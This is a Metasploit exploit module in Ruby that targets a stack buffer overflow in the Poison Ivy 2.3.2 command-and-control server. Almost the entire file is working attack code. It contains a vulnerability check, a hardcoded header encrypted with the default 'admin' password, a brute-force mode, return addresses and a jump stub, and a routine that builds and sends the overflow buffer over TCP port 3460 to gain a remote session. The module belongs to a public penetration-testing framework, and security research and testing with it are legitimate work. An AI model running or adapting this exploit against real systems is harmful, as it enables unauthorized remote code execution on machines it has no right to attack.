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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => "Poison Ivy 2.3.2 C&C Server Buffer Overflow", 'Description'=> %q{ This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server. The exploit does not need to know the password chosen for the bot/server communication. If the C&C is configured with the default 'admin' password, the exploit should work fine. In case of the C&C configured with another password the exploit can fail. The 'check' command can be used to determine if the C&C target is using the default 'admin' password. Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread responsible of handling the connection. Because of this the module provides the RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header will be used. If the bruteforce target is selected, a random header will be sent in case the default for the password 'admin' doesn't work. Bruteforce will stop after 5 tries or a session obtained. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Andrzej Dereszowski', # Vulnerability Discovery 'Gal Badishi', # Exploit and Metasploit module 'juan vazquez' # Testing and little of Metasploit-fu ], 'References' => [ [ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ], [ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ] ], 'DisclosureDate' => "Jun 24 2012", 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'StackAdjustment' => -4000, 'Space' => 10000, 'BadChars'=> "", }, 'Platform' => 'win', 'Targets'=> [ [ 'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe" 'RWAddress' => 0x00401000, 'Offset' => 0x806D, 'PayloadOffset' => 0x75, 'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp } ], [ 'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe" 'RWAddress' => 0x00401000, 'Offset' => 0x806D, 'PayloadOffset' => 0x75, 'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp 'Bruteforce' => { 'Start' => { 'Try' => 1 }, 'Stop'=> { 'Try' => 6 }, 'Step'=> 1, 'Delay' => 2 } } ], ], 'DefaultTarget'=> 0 )) register_options( [ Opt::RPORT(3460), OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false]) ], self.class) register_advanced_options( [ OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]), ], self.class) end def check sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b" lensig = [0x000015D0].pack("V") connect sock.put("\x00" * 256) response = sock.read(256) datalen = sock.read(4) disconnect if datalen == lensig if response[0, 16] == sig print_status("Password appears to be \"admin\"") else print_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.") end return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def single_exploit if datastore['RANDHEADER'] == true # Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password header = rand_text(0x20) else # This is the 32-byte header we want to send, encrypted with the default password ("admin") # We have a very good chance of succeeding even if the password was changed header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" end do_exploit(header) end def brute_exploit(brute_target) if brute_target['Try'] == 1 print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password") # This is the 32-byte header we want to send, encrypted with the default password ("admin") # We have a very good chance of succeeding even if the password was changed header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" else print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header") # Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password header = rand_text(0x20) end do_exploit(header) end def do_exploit(header) # Handshake connect print_status("Performing handshake...") sock.put("\x00" * 256) sock.get # Don't change the nulls, or it might not work xploit= '' xploit << header xploit << "\x00" * (target['PayloadOffset'] - xploit.length) xploit << payload.encoded xploit << "\x00" * (target['Offset'] - xploit.length) xploit << [target.ret].pack("V") # ret to a jmp esp opcode xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword) xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back) # The disconnection triggers the exploit print_status("Sending exploit...") sock.put(xploit) select(nil,nil,nil,5) disconnect end end =begin * ROP version of exploit(): Has been discarded at the moment because of two reasons: (1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process) (2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter =end |
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